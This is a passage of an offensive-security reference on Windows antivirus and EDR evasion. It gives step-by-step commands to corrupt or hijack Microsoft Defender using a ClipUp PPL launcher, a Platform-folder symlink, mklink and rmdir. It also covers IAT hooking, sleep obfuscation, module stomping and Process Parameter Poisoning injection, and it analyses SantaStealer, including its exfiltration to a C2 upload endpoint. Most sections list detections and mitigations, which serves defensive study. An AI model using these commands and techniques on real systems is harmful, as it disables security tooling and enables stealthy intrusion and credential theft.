    996   - [https://github.com/2x7EQ13/CreateProcessAsPPL](https://github.com/2x7EQ13/CreateProcessAsPPL)<sup>[[19]](#references)</sup>
    997 - Usage pattern:
    998 
    999 ```text
   1000 CreateProcessAsPPL.exe <level 0..4> <path-to-ppl-capable-exe> [args...]
   1001 # example: spawn a Windows-signed component at PPL level 1 (Windows)
   1002 CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe <args>
   1003 # example: spawn an anti-malware signed component at level 3
   1004 CreateProcessAsPPL.exe 3 <anti-malware-signed-exe> <args>
   1005 ```
   1006 
   1007 LOLBIN primitive: ClipUp.exe
   1008 - The signed system binary `C:\Windows\System32\ClipUp.exe` self-spawns and accepts a parameter to write a log file to a caller-specified path.
   1009 - When launched as a PPL process, the file write occurs with PPL backing.
   1010 - ClipUp cannot parse paths containing spaces; use 8.3 short paths to point into normally protected locations.
   1011 
   1012 8.3 short path helpers
   1013 - List short names: `dir /x` in each parent directory.
   1014 - Derive short path in cmd: `for %A in ("C:\ProgramData\Microsoft\Windows Defender\Platform") do @echo %~sA`
   1015 
   1016 Abuse chain (abstract)
   1017 1) Launch the PPL-capable LOLBIN (ClipUp) with `CREATE_PROTECTED_PROCESS` using a launcher (e.g., CreateProcessAsPPL).
   1018 2) Pass the ClipUp log-path argument to force a file creation in a protected AV directory (e.g., Defender Platform). Use 8.3 short names if needed.
   1019 3) If the target binary is normally open/locked by the AV while running (e.g., MsMpEng.exe), schedule the write at boot before the AV starts by installing an auto-start service that reliably runs earlier. Validate boot ordering with Process Monitor (boot logging).
   1020 4) On reboot the PPL-backed write happens before the AV locks its binaries, corrupting the target file and preventing startup.
   1021 
   1022 Example invocation (paths redacted/shortened for safety):
   1023 
   1024 ```text
   1025 # Run ClipUp as PPL at Windows signer level (1) and point its log to a protected folder using 8.3 names
   1026 CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe -ppl C:\PROGRA~3\MICROS~1\WINDOW~1\Platform\<ver>\samplew.dll
   1027 ```
   1028 
   1029 Notes and constraints
   1030 - You cannot control the contents ClipUp writes beyond placement; the primitive is suited to corruption rather than precise content injection.
   1031 - Requires local admin/SYSTEM to install/start a service and a reboot window.
   1032 - Timing is critical: the target must not be open; boot-time execution avoids file locks.
   1033 
   1034 Detections
   1035 - Process creation of `ClipUp.exe` with unusual arguments, especially parented by non-standard launchers, around boot.
   1036 - New services configured to auto-start suspicious binaries and consistently starting before Defender/AV. Investigate service creation/modification prior to Defender startup failures.
   1037 - File integrity monitoring on Defender binaries/Platform directories; unexpected file creations/modifications by processes with protected-process flags.
   1038 - ETW/EDR telemetry: look for processes created with `CREATE_PROTECTED_PROCESS` and anomalous PPL level usage by non-AV binaries.
   1039 
   1040 Mitigations
   1041 - WDAC/Code Integrity: restrict which signed binaries may run as PPL and under which parents; block ClipUp invocation outside legitimate contexts.
   1042 - Service hygiene: restrict creation/modification of auto-start services and monitor start-order manipulation.
   1043 - Ensure Defender tamper protection and early-launch protections are enabled; investigate startup errors indicating binary corruption.
   1044 - Consider disabling 8.3 short-name generation on volumes hosting security tooling if compatible with your environment (test thoroughly).
   1045 
   1046 ## Tampering Microsoft Defender via Platform Version Folder Symlink Hijack
   1047 
   1048 Windows Defender chooses the platform it runs from by enumerating subfolders under:
   1049 - `C:\ProgramData\Microsoft\Windows Defender\Platform\`
   1050 
   1051 It selects the subfolder with the highest lexicographic version string (e.g., `4.18.25070.5-0`), then starts the Defender service processes from there (updating service/registry paths accordingly). This selection trusts directory entries including directory reparse points (symlinks). An administrator can leverage this to redirect Defender to an attacker-writable path and achieve DLL sideloading or service disruption.<sup>[[21]](#references)[[22]](#references)</sup>
   1052 
   1053 Preconditions
   1054 - Local Administrator (needed to create directories/symlinks under the Platform folder)
   1055 - Ability to reboot or trigger Defender platform re-selection (service restart on boot)
   1056 - Only built-in tools required (mklink)
   1057 
   1058 Why it works
   1059 - Defender blocks writes in its own folders, but its platform selection trusts directory entries and picks the lexicographically highest version without validating that the target resolves to a protected/trusted path.
   1060 
   1061 Step-by-step (example)
   1062 1) Prepare a writable clone of the current platform folder, e.g. `C:\TMP\AV`:
   1063 ```batch
   1064 set SRC="C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25070.5-0"
   1065 set DST="C:\TMP\AV"
   1066 robocopy %SRC% %DST% /MIR
   1067 ```
   1068 2) Create a higher-version directory symlink inside Platform pointing to your folder:
   1069 ```batch
   1070 mklink /D "C:\ProgramData\Microsoft\Windows Defender\Platform\5.18.25070.5-0" "C:\TMP\AV"
   1071 ```
   1072 3) Trigger selection (reboot recommended):
   1073 ```batch
   1074 shutdown /r /t 0
   1075 ```
   1076 4) Verify MsMpEng.exe (WinDefend) runs from the redirected path:
   1077 ```powershell
   1078 Get-Process MsMpEng | Select-Object Id,Path
   1079 # or
   1080 wmic process where name='MsMpEng.exe' get ProcessId,ExecutablePath
   1081 ```
   1082 You should observe the new process path under `C:\TMP\AV\` and the service configuration/registry reflecting that location.
   1083 
   1084 Post-exploitation options
   1085 - DLL sideloading/code execution: Drop/replace DLLs that Defender loads from its application directory to execute code in Defender’s processes. See the section above: [DLL Sideloading & Proxying](#dll-sideloading--proxying).
   1086 - Service kill/denial: Remove the version-symlink so on next start the configured path doesn’t resolve and Defender fails to start:
   1087 ```batch
   1088 rmdir "C:\ProgramData\Microsoft\Windows Defender\Platform\5.18.25070.5-0"
   1089 ```
   1090 
   1091 > [!TIP]
   1092 > Note that This technique does not provide privilege escalation by itself; it requires admin rights.
   1093 
   1094 ## API/IAT Hooking + Call-Stack Spoofing with PIC (Crystal Kit-style)
   1095 
   1096 Red teams can move runtime evasion out of the C2 implant and into the target module itself by hooking its Import Address Table (IAT) and routing selected APIs through attacker-controlled, position‑independent code (PIC). This generalises evasion beyond the small API surface many kits expose (e.g., CreateProcessA), and extends the same protections to BOFs and post‑exploitation DLLs.<sup>[[3]](#references)[[4]](#references)[[5]](#references)</sup>
   1097 
   1098 High-level approach
   1099 - Stage a PIC blob alongside the target module using a reflective loader (prepended or companion). The PIC must be self‑contained and position‑independent.
   1100 - As the host DLL loads, walk its IMAGE_IMPORT_DESCRIPTOR and patch the IAT entries for targeted imports (e.g., CreateProcessA/W, CreateThread, LoadLibraryA/W, VirtualAlloc) to point at thin PIC wrappers.
   1101 - Each PIC wrapper executes evasions before tail‑calling the real API address. Typical evasions include:
   1102   - Memory mask/unmask around the call (e.g., encrypt beacon regions, RWX→RX, change page names/permissions) then restore post‑call.
   1103   - Call‑stack spoofing: construct a benign stack and transition into the target API so call‑stack analysis resolves to expected frames.<sup>[[9]](#references)</sup>
   1104 - For compatibility, export an interface so an Aggressor script (or equivalent) can register which APIs to hook for Beacon, BOFs and post‑ex DLLs.
   1105 
   1106 Why IAT hooking here
   1107 - Works for any code that uses the hooked import, without modifying tool code or relying on Beacon to proxy specific APIs.
   1108 - Covers post‑ex DLLs: hooking LoadLibrary* lets you intercept module loads (e.g., System.Management.Automation.dll, clr.dll) and apply the same masking/stack evasion to their API calls.
   1109 - Restores reliable use of process‑spawning post‑ex commands against call‑stack–based detections by wrapping CreateProcessA/W.
   1110 
   1111 Minimal IAT hook sketch (x64 C/C++ pseudocode)
   1112 ```c
   1113 // For each IMAGE_IMPORT_DESCRIPTOR
   1114 //  For each thunk in the IAT
   1115 //    if imported function == "CreateProcessA"
   1116 //       WriteProcessMemory(local): IAT[idx] = (ULONG_PTR)Pic_CreateProcessA_Wrapper;
   1117 // Wrapper performs: mask(); stack_spoof_call(real_CreateProcessA, args...); unmask();
   1118 ```
   1119 Notes
   1120 - Apply the patch after relocations/ASLR and before first use of the import. Reflective loaders like TitanLdr/AceLdr demonstrate hooking during DllMain of the loaded module.
   1121 - Keep wrappers tiny and PIC-safe; resolve the true API via the original IAT value you captured before patching or via LdrGetProcedureAddress.
   1122 - Use RW → RX transitions for PIC and avoid leaving writable+executable pages.
   1123 
   1124 Call‑stack spoofing stub
   1125 - Draugr‑style PIC stubs build a fake call chain (return addresses into benign modules) and then pivot into the real API.
   1126 - This defeats detections that expect canonical stacks from Beacon/BOFs to sensitive APIs.
   1127 - Pair with stack cutting/stack stitching techniques to land inside expected frames before the API prologue.
   1128 
   1129 Operational integration
   1130 - Prepend the reflective loader to post‑ex DLLs so the PIC and hooks initialise automatically when the DLL is loaded.
   1131 - Use an Aggressor script to register target APIs so Beacon and BOFs transparently benefit from the same evasion path without code changes.
   1132 
   1133 Detection/DFIR considerations
   1134 - IAT integrity: entries that resolve to non‑image (heap/anon) addresses; periodic verification of import pointers.
   1135 - Stack anomalies: return addresses not belonging to loaded images; abrupt transitions to non‑image PIC; inconsistent RtlUserThreadStart ancestry.
   1136 - Loader telemetry: in‑process writes to IAT, early DllMain activity that modifies import thunks, unexpected RX regions created at load.
   1137 - Image‑load evasion: if hooking LoadLibrary*, monitor suspicious loads of automation/clr assemblies correlated with memory masking events.
   1138 
   1139 Related building blocks and examples
   1140 - Reflective loaders that perform IAT patching during load (e.g., TitanLdr, AceLdr)
   1141 - Memory masking hooks (e.g., simplehook) and stack‑cutting PIC (stackcutting)
   1142 - PIC call‑stack spoofing stubs (e.g., Draugr)
   1143 
   1144 
   1145 ## Import-Time IAT Hooking + Sleep Obfuscation (Crystal Palace/PICO)
   1146 
   1147 ### Import-time IAT hooks via a resident PICO
   1148 
   1149 If you control a reflective loader, you can hook imports **during** `ProcessImports()` by replacing the loader's `GetProcAddress` pointer with a custom resolver that checks hooks first:<sup>[[6]](#references)[[7]](#references)[[8]](#references)</sup>
   1150 
   1151 - Build a **resident PICO** (persistent PIC object) that survives after the transient loader PIC frees itself.
   1152 - Export a `setup_hooks()` function that overwrites the loader's import resolver (e.g., `funcs.GetProcAddress = _GetProcAddress`).
   1153 - In `_GetProcAddress`, skip ordinal imports and use a hash-based hook lookup like `__resolve_hook(ror13hash(name))`. If a hook exists, return it; otherwise delegate to the real `GetProcAddress`.
   1154 - Register hook targets at link time with Crystal Palace `addhook "MODULE$Func" "hook"` entries. The hook stays valid because it lives inside the resident PICO.
   1155 
   1156 This yields **import-time IAT redirection** without patching the loaded DLL's code section post-load.
   1157 
   1158 ### Forcing hookable imports when the target uses PEB-walking
   1159 
   1160 Import-time hooks only trigger if the function is actually in the target's IAT. If a module resolves APIs via a PEB-walk + hash (no import entry), force a real import so the loader's `ProcessImports()` path sees it:
   1161 
   1162 - Replace hashed export resolution (e.g., `GetSymbolAddress(..., HASH_FUNC_WAIT_FOR_SINGLE_OBJECT)`) with a direct reference like `&WaitForSingleObject`.
   1163 - The compiler emits an IAT entry, enabling interception when the reflective loader resolves imports.
   1164 
   1165 ### Ekko-style sleep/idle obfuscation without patching `Sleep()`
   1166 
   1167 Instead of patching `Sleep`, hook the **actual wait/IPC primitives** the implant uses (`WaitForSingleObject(Ex)`, `WaitForMultipleObjects`, `ConnectNamedPipe`). For long waits, wrap the call in an Ekko-style obfuscation chain that encrypts the in-memory image during idle:<sup>[[31]](#references)[[27]](#references)</sup>
   1168 
   1169 - Use `CreateTimerQueueTimer` to schedule a sequence of callbacks that call `NtContinue` with crafted `CONTEXT` frames.
   1170 - Typical chain (x64): set image to `PAGE_READWRITE` → RC4 encrypt via `advapi32!SystemFunction032` over the full mapped image → perform the blocking wait → RC4 decrypt → **restore per-section permissions** by walking PE sections → signal completion.
   1171 - `RtlCaptureContext` provides a template `CONTEXT`; clone it into multiple frames and set registers (`Rip/Rcx/Rdx/R8/R9`) to invoke each step.
   1172 
   1173 Operational detail: return “success” for long waits (e.g., `WAIT_OBJECT_0`) so the caller continues while the image is masked. This pattern hides the module from scanners during idle windows and avoids the classic “patched `Sleep()`” signature.
   1174 
   1175 Detection ideas (telemetry-based)
   1176 - Bursts of `CreateTimerQueueTimer` callbacks pointing to `NtContinue`.
   1177 - `advapi32!SystemFunction032` used on large contiguous image-sized buffers.
   1178 - Large-range `VirtualProtect` followed by custom per-section permission restoration.
   1179 
   1180 ### Runtime CFG registration for sleep-obfuscation gadgets
   1181 
   1182 On CFG-enabled targets, the first indirect jump into a mid-function gadget such as `jmp [rbx]` or `jmp rdi` will usually crash the process with `STATUS_STACK_BUFFER_OVERRUN` because the gadget is not present in the module's CFG metadata. To keep Ekko/Kraken-style chains alive inside hardened processes:<sup>[[30]](#references)</sup>
   1183 
   1184 - Register every indirect destination used by the chain with `NtSetInformationVirtualMemory(..., VmCfgCallTargetInformation, ...)` and `CFG_CALL_TARGET_VALID` entries.
   1185 - For addresses inside loaded images (`ntdll`, `kernel32`, `advapi32`), the `MEMORY_RANGE_ENTRY` must start at the **image base** and cover the **full image size**.
   1186 - For manually mapped/PIC/stomped regions, use the **allocation base** and allocation size instead.
   1187 - Mark not only the dispatch gadget, but also exports reached indirectly (`NtContinue`, `SystemFunction032`, `VirtualProtect`, `GetThreadContext`, `SetThreadContext`, wait/event syscalls) and any attacker-controlled executable sections that will become indirect targets.
   1188 
   1189 This turns ROP/JOP-style sleep chains from "works only in non-CFG processes" into a reusable primitive for `explorer.exe`, browsers, `svchost.exe`, and other endpoints compiled with `/guard:cf`.
   1190 
   1191 ### CET-safe stack spoofing for sleeping threads
   1192 
   1193 Full `CONTEXT` replacement is noisy and can break on CET Shadow Stack systems because a spoofed `Rip` must still agree with the hardware shadow stack. A safer sleep-masking pattern is:<sup>[[30]](#references)</sup>
   1194 
   1195 - Pick another thread in the same process and read its `NT_TIB` / TEB stack bounds (`StackBase`, `StackLimit`) via `NtQueryInformationThread`.
   1196 - Backup the current thread's real TEB/TIB.
   1197 - Capture the real sleeping context with `GetThreadContext`.
   1198 - Copy **only** the real `Rip` into the spoof context, leaving the spoofed `Rsp`/stack state intact.
   1199 - During the sleep window, copy the spoof thread's `NT_TIB` into the current TEB so stack walkers unwind inside a legitimate stack range.
   1200 - After the wait finishes, restore the original TIB and thread context.
   1201 
   1202 This preserves a CET-consistent instruction pointer while misleading EDR stack walkers that trust TEB stack metadata to validate unwinds.
   1203 
   1204 ### APC-based alternative: Kraken Mask
   1205 
   1206 If timer-queue dispatch is too signatured, the same sleep-encrypt-spoof-restore sequence can be executed from a suspended helper thread using queued APCs:<sup>[[27]](#references)</sup>
   1207 
   1208 - Create a helper thread with `NtTestAlert` as entrypoint.
   1209 - Queue prepared `CONTEXT` frames/APCs with `NtQueueApcThread` and drain them with `NtAlertResumeThread`.
   1210 - Store the chain state on the heap instead of the helper stack to avoid exhausting the default 64 KB thread stack.
   1211 - Use `NtSignalAndWaitForSingleObject` to atomically signal the start event and block.
   1212 - Suspend the main thread before restoring the TIB/context (`NtSuspendThread` → restore → `NtResumeThread`) to reduce the race window where a scanner could catch a half-restored stack.
   1213 
   1214 This swaps the `CreateTimerQueueTimer` + `NtContinue` signature for a helper-thread/APC signature while keeping the same RC4 masking and stack-spoofing goals.
   1215 
   1216 Additional detection ideas
   1217 - `NtSetInformationVirtualMemory` with `VmCfgCallTargetInformation` shortly before sleeps, waits, or APC dispatch.
   1218 - `GetThreadContext`/`SetThreadContext` wrapped around `WaitForSingleObject(Ex)`, `NtWaitForSingleObject`, `NtSignalAndWaitForSingleObject`, or `ConnectNamedPipe`.
   1219 - `NtQueryInformationThread` followed by direct writes into the current thread's TEB/TIB stack bounds.
   1220 - `NtQueueApcThread`/`NtAlertResumeThread` chains that indirectly reach `SystemFunction032`, `VirtualProtect`, or section-permission restoration helpers.
   1221 - Repeated use of short gadget signatures such as `FF 23` (`jmp [rbx]`) or `FF E7` (`jmp rdi`) as dispatch pivots inside signed modules.
   1222 
   1223 
   1224 ## Precision Module Stomping
   1225 
   1226 Module stomping executes payloads from the **`.text` section of a DLL already mapped inside the target process** instead of allocating obvious private executable memory or loading a fresh sacrificial DLL. The overwrite target should be a **loaded, disk-backed image** whose code space can absorb the payload without corrupting code paths the process still needs.<sup>[[1]](#references)[[2]](#references)</sup>
   1227 
   1228 ### Reliable target selection
   1229 
   1230 Naive stomping against common modules such as `uxtheme.dll` or `comctl32.dll` is fragile: the DLL may not be loaded in the remote process, and a too-small code region will crash the process. A more reliable workflow is:
   1231 
   1232 1. Enumerate the target process modules and keep a **names-only include list** of DLLs already loaded.
   1233 2. Build the payload first and record its **exact byte size**.
   1234 3. Scan candidate DLLs on disk and compare the PE section **`.text` `Misc_VirtualSize`** against the payload size. This matters more than the file size because it reflects the size of the executable section **when mapped in memory**.
   1235 4. Parse the **Export Address Table (EAT)** and choose an exported function RVA as the stomp start offset.
   1236 5. Calculate the **blast radius**: if the payload exceeds the selected function boundary, it will overwrite adjacent exports laid out after it in memory.
   1237 
   1238 Typical recon/selection helpers seen in the wild:
   1239 
   1240 ```batch
   1241 list-process-dlls.exe -p <PID> -n -o c:\payloads\modules.txt
   1242 python find-stompable-dlls.py -d c:\Windows\System32 -i c:\payloads\modules.txt <payload_size>
   1243 python dump-exports.py -f <dll_path>
   1244 python blast-radius.py -f <dll_path> -fnc <export_name> -s <payload_size>
   1245 ```
   1246 
   1247 Operational notes
   1248 - Prefer DLLs **already loaded** in the remote process to avoid the telemetry of `LoadLibrary`/unexpected image loads.
   1249 - Prefer exports that are rarely executed by the target application, otherwise normal code paths may hit the stomped bytes before or after thread creation.
   1250 - Large implants often require changing shellcode embedding from a string literal to a **byte-array/braced initializer** so the full buffer is represented correctly in the injector source.
   1251 
   1252 Detection ideas
   1253 - Remote writes into **image-backed executable pages** (`MEM_IMAGE`, `PAGE_EXECUTE*`) instead of the more common private RWX/RX allocations.
   1254 - Export entry points whose in-memory bytes no longer match the backing file on disk.
   1255 - Remote threads or context pivots that begin execution inside a legitimate DLL export whose first bytes were recently modified.
   1256 - Suspicious `VirtualProtect(Ex)` / `WriteProcessMemory` sequences against DLL `.text` pages followed by thread creation.
   1257 
   1258 ## Process Parameter Poisoning (P3)
   1259 
   1260 Process Parameter Poisoning (P3) is a **process-injection / EDR-evasion** technique that avoids the classic remote write path (`VirtualAllocEx` + `WriteProcessMemory`). Instead of copying bytes into an already running target, it abuses the fact that Windows **copies selected `CreateProcessW` startup parameters into the child process** and stores them inside `PEB->ProcessParameters` (`RTL_USER_PROCESS_PARAMETERS`).<sup>[[28]](#references)[[29]](#references)</sup>
   1261 
   1262 ### Poisonable carriers copied by `CreateProcessW`
   1263 
   1264 Useful carriers are:
   1265 
   1266 - `lpCommandLine` → `RTL_USER_PROCESS_PARAMETERS.CommandLine`
   1267 - `lpEnvironment` (with `CREATE_UNICODE_ENVIRONMENT`) → `RTL_USER_PROCESS_PARAMETERS.Environment`
   1268 - `STARTUPINFO.lpReserved` → `RTL_USER_PROCESS_PARAMETERS.ShellInfo`
   1269 
   1270 Practical carrier constraints:
   1271 
   1272 - `lpCommandLine` must point to **writable memory** for `CreateProcessW`, and is capped at **32,767 Unicode characters** including the null terminator.
   1273 - `lpEnvironment` must be a Unicode environment block of successive `NAME=VALUE\0` strings terminated by an extra `\0`.
   1274 - `lpReserved` is officially reserved, so the `ShellInfo` mapping should be treated as an implementation detail rather than a stable documented contract.
   1275 
   1276 This turns normal process creation into the **payload-transfer primitive**. The operator creates the child process with attacker-controlled startup data and lets Windows perform the cross-process copy.
   1277 
   1278 ### Remote lookup flow without remote write APIs
   1279 
   1280 After the child is created, resolve the copied buffer with **read-only** primitives:
   1281 
   1282 1. `NtQueryInformationProcess(ProcessBasicInformation)` → get `PROCESS_BASIC_INFORMATION.PebBaseAddress`
   1283 2. Read the remote `PEB`
   1284 3. Follow `PEB.ProcessParameters`
   1285 4. Read `RTL_USER_PROCESS_PARAMETERS`
   1286 5. Use the selected pointer:
   1287    - `parameters.CommandLine.Buffer`
   1288    - `parameters.Environment`
   1289    - `parameters.ShellInfo.Buffer`
   1290 
   1291 Minimal flow:
   1292 
   1293 ```c
   1294 NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &retLen);
   1295 NtReadVirtualMemoryEx(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), &bytesRead, 0);
   1296 NtReadVirtualMemoryEx(hProcess, peb.ProcessParameters, &params, sizeof(params), &bytesRead, 0);
   1297 // params.CommandLine.Buffer / params.Environment / params.ShellInfo.Buffer
   1298 ```
   1299 
   1300 ### Executing the copied parameter buffer
   1301 
   1302 The copied parameter region is usually `RW`, not executable. A common P3 chain is:
   1303 
   1304 1. Create the process normally (not suspended)
   1305 2. Make the chosen parameter page executable with `NtProtectVirtualMemory` / `VirtualProtectEx`
   1306 3. Reuse the main thread handle already returned in `PROCESS_INFORMATION`
   1307 4. Redirect execution with `NtSetContextThread` (`CONTEXT_CONTROL`, overwrite `RIP`)
   1308 
   1309 Unlike classic thread hijacking workflows, this does **not require** `SuspendThread` / `ResumeThread`; the context can be changed on the returned main thread handle directly.
   1310 
   1311 This avoids several APIs commonly monitored for injection:
   1312 
   1313 - `VirtualAllocEx` / `NtAllocateVirtualMemory(Ex)`
   1314 - `WriteProcessMemory` / `NtWriteVirtualMemory`
   1315 - `CreateRemoteThread` / `NtCreateThreadEx`
   1316 - often also `SuspendThread` / `ResumeThread`
   1317 
   1318 ### Null-byte limitation and staged shellcode
   1319 
   1320 All three carriers are **string or string-like data**, so a raw payload containing `0x00` is truncated during transfer. A practical workaround is a **null-free first stage** that reconstructs constants at runtime and then loads an arbitrary second stage.
   1321 
   1322 A simple pattern is XOR-based constant synthesis:
   1323 
   1324 ```text
   1325 mov rax, XOR_A
   1326 mov r15, XOR_B
   1327 xor rax, r15 ; result = desired value, without embedding 0x00 bytes
   1328 ```
   1329 
   1330 This lets the first stage build stack strings, API arguments, DLL paths, or a second-stage shellcode loader without embedding null bytes in the transported parameter.
   1331 
   1332 ### Stack-based API calls from the first stage
   1333 
   1334 When the first stage must call APIs such as `LoadLibraryA`, it can:
   1335 
   1336 - push the string/buffer on the target stack
   1337 - reserve the **32-byte x64 shadow space**
   1338 - set `RCX`, `RDX`, `R8`, `R9` to constants or `RSP`-relative pointers
   1339 - keep `RSP` **16-byte aligned** before the call
   1340 
   1341 A second stage can then be copied from the stack into a `PAGE_READWRITE` allocation, flipped to `PAGE_EXECUTE_READ` with `VirtualProtect`, and jumped to, avoiding a direct RWX allocation.
   1342 
   1343 ### Detection ideas
   1344 
   1345 Good hunting opportunities mentioned by the authors:
   1346 
   1347 - `VirtualProtectEx` / `NtProtectVirtualMemory` making **process-parameter pages executable**
   1348 - that protection change followed by `SetThreadContext` / `NtSetContextThread`
   1349 - remote reads of `PEB` and then `RTL_USER_PROCESS_PARAMETERS`
   1350 - unusually long / high-entropy `lpCommandLine`, `lpEnvironment`, or `STARTUPINFO.lpReserved` values during process creation
   1351 
   1352 ### Notes
   1353 
   1354 - P3 is a **cross-process transfer trick**, not a full execution primitive by itself: the copied parameter still needs an execute-permission change and an execution redirection method.
   1355 - `RtlCreateProcessReflection` / Dirty Vanity was considered by the authors but rejected because it internally reaches suspicious primitives such as `NtWriteVirtualMemory` and `NtCreateThreadEx`.
   1356 
   1357 ## SantaStealer Tradecraft for Fileless Evasion and Credential Theft
   1358 
   1359 SantaStealer (aka BluelineStealer) illustrates how modern info-stealers blend AV bypass, anti-analysis and credential access in a single workflow.<sup>[[24]](#references)</sup>
   1360 
   1361 ### Keyboard layout gating & sandbox delay
   1362 
   1363 - A config flag (`anti_cis`) enumerates installed keyboard layouts via `GetKeyboardLayoutList`. If a Cyrillic layout is found, the sample drops an empty `CIS` marker and terminates before running stealers, ensuring it never detonates on excluded locales while leaving a hunting artifact.
   1364 
   1365 ```c
   1366 HKL layouts[64];
   1367 int count = GetKeyboardLayoutList(64, layouts);
   1368 for (int i = 0; i < count; i++) {
   1369     LANGID lang = PRIMARYLANGID(HIWORD((ULONG_PTR)layouts[i]));
   1370     if (lang == LANG_RUSSIAN) {
   1371         CreateFileA("CIS", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
   1372         ExitProcess(0);
   1373     }
   1374 }
   1375 Sleep(exec_delay_seconds * 1000); // config-controlled delay to outlive sandboxes
   1376 ```
   1377 
   1378 ### Layered `check_antivm` logic
   1379 
   1380 - Variant A walks the process list, hashes each name with a custom rolling checksum, and compares it against embedded blocklists for debuggers/sandboxes; it repeats the checksum over the computer name and checks working directories such as `C:\analysis`.
   1381 - Variant B inspects system properties (process-count floor, recent uptime), calls `OpenServiceA("VBoxGuest")` to detect VirtualBox additions, and performs timing checks around sleeps to spot single-stepping. Any hit aborts before modules launch.
   1382 
   1383 ### Fileless helper + double ChaCha20 reflective loading
   1384 
   1385 - The primary DLL/EXE embeds a Chromium credential helper that is either dropped to disk or manually mapped in-memory; fileless mode resolves imports/relocations itself so no helper artifacts are written.
   1386 - That helper stores a second-stage DLL encrypted twice with ChaCha20 (two 32-byte keys + 12-byte nonces). After both passes, it reflectively loads the blob (no `LoadLibrary`) and calls exports `ChromeElevator_Initialize/ProcessAllBrowsers/Cleanup` derived from [ChromElevator](https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption).<sup>[[25]](#references)</sup>
   1387 - The ChromElevator routines use direct-syscall reflective process hollowing to inject into a live Chromium browser, inherit AppBound Encryption keys, and decrypt passwords/cookies/credit cards straight from SQLite databases despite ABE hardening.
   1388 
   1389 
   1390 ### Modular in-memory collection & chunked HTTP exfil
   1391 
   1392 - `create_memory_based_log` iterates a global `memory_generators` function-pointer table and spawns one thread per enabled module (Telegram, Discord, Steam, screenshots, documents, browser extensions, etc.). Each thread writes results into shared buffers and reports its file count after a ~45s join window.
   1393 - Once finished, everything is zipped with the statically linked `miniz` library as `%TEMP%\\Log.zip`. `ThreadPayload1` then sleeps 15s and streams the archive in 10 MB chunks via HTTP POST to `http://<C2>:6767/upload`, spoofing a browser `multipart/form-data` boundary (`----WebKitFormBoundary***`). Each chunk adds `User-Agent: upload`, `auth: <build_id>`, optional `w: <campaign_tag>`, and the last chunk appends `complete: true` so the C2 knows reassembly is done.
   1394 
   1395 ## References
   1396 
   1397 - [1] [Advanced Evasion Tradecraft: Precision Module Stomping](https://medium.com/@toneillcodes/advanced-evasion-tradecraft-precision-module-stomping-b51feb0978fe)
   1398 - [2] [toneillcodes/windows-process-injection](https://github.com/toneillcodes/windows-process-injection)
   1399 - [3] [Crystal Kit – blog](https://rastamouse.me/crystal-kit/)
   1400 - [4] [Crystal-Kit – GitHub](https://github.com/rasta-mouse/Crystal-Kit)
   1401 - [5] [Elastic – Call stacks, no more free passes for malware](https://www.elastic.co/security-labs/call-stacks-no-more-free-passes-for-malware)
   1402 - [6] [Crystal Palace – docs](https://tradecraftgarden.org/docs.html)
   1403 - [7] [simplehook – sample](https://tradecraftgarden.org/simplehook.html)
   1404 - [8] [stackcutting – sample](https://tradecraftgarden.org/stackcutting.html)
   1405 - [9] [Draugr – call-stack spoofing PIC](https://github.com/NtDallas/Draugr)
   1406 - [10] [Unit42 – New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer](https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/)
   1407 - [11] [Synacktiv – Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html)
   1408 - [12] [Check Point Research – Before ToolShell: Exploring Storm-2603’s Previous Ransomware Operations](https://research.checkpoint.com/2025/before-toolshell-exploring-storm-2603s-previous-ransomware-operations/)
   1409 - [13] [Hexacorn – DLL ForwardSideLoading: Abusing Forwarded Exports](https://www.hexacorn.com/blog/2025/08/19/dll-forwardsideloading/)
   1410 - [14] [Windows 11 Forwarded Exports Inventory (apis_fwd.txt)](https://hexacorn.com/d/apis_fwd.txt)
   1411 - [15] [Microsoft Learn – Dynamic-link library search order](https://learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order)
   1412 - [16] [Microsoft Learn – Process security and access rights](https://learn.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights)
   1413 - [17] [Microsoft – EKU reference (MS-PPSEC)](https://learn.microsoft.com/openspecs/windows_protocols/ms-ppsec/651a90f3-e1f5-4087-8503-40d804429a88)
   1414 - [18] [Sysinternals – Process Monitor](https://learn.microsoft.com/sysinternals/downloads/procmon)
   1415 - [19] [CreateProcessAsPPL launcher](https://github.com/2x7EQ13/CreateProcessAsPPL)
   1416 - [20] [Zero Salarium – Countering EDRs With The Backing Of Protected Process Light (PPL)](https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html)
   1417 - [21] [Zero Salarium – Break The Protective Shell Of Windows Defender With The Folder Redirect Technique](https://www.zerosalarium.com/2025/09/Break-Protective-Shell-Windows-Defender-Folder-Redirect-Technique-Symlink.html)
   1418 - [22] [Microsoft – mklink command reference](https://learn.microsoft.com/windows-server/administration/windows-commands/mklink)
   1419 - [23] [Check Point Research – Under the Pure Curtain: From RAT to Builder to Coder](https://research.checkpoint.com/2025/under-the-pure-curtain-from-rat-to-builder-to-coder/)
   1420 - [24] [Rapid7 – SantaStealer is Coming to Town: A New, Ambitious Infostealer](https://www.rapid7.com/blog/post/tr-santastealer-is-coming-to-town-a-new-ambitious-infostealer-advertised-on-underground-forums)
   1421 - [25] [ChromElevator – Chrome App Bound Encryption Decryption](https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption)
   1422 - [26] [Check Point Research – GachiLoader: Defeating Node.js Malware with API Tracing](https://research.checkpoint.com/2025/gachiloader-node-js-malware-with-api-tracing/)
   1423 - [27] [Sleeping Beauty: Putting Adaptix to Bed with Crystal Palace](https://maorsabag.github.io/posts/adaptix-stealthpalace/sleeping-beauty/)
   1424 - [28] [SensePost – Process Parameter Poisoning](https://sensepost.com/blog/2026/process-parameter-poisoning/)
   1425 - [29] [Orange Cyberdefense – p3-loader](https://github.com/Orange-Cyberdefense/p3-loader)
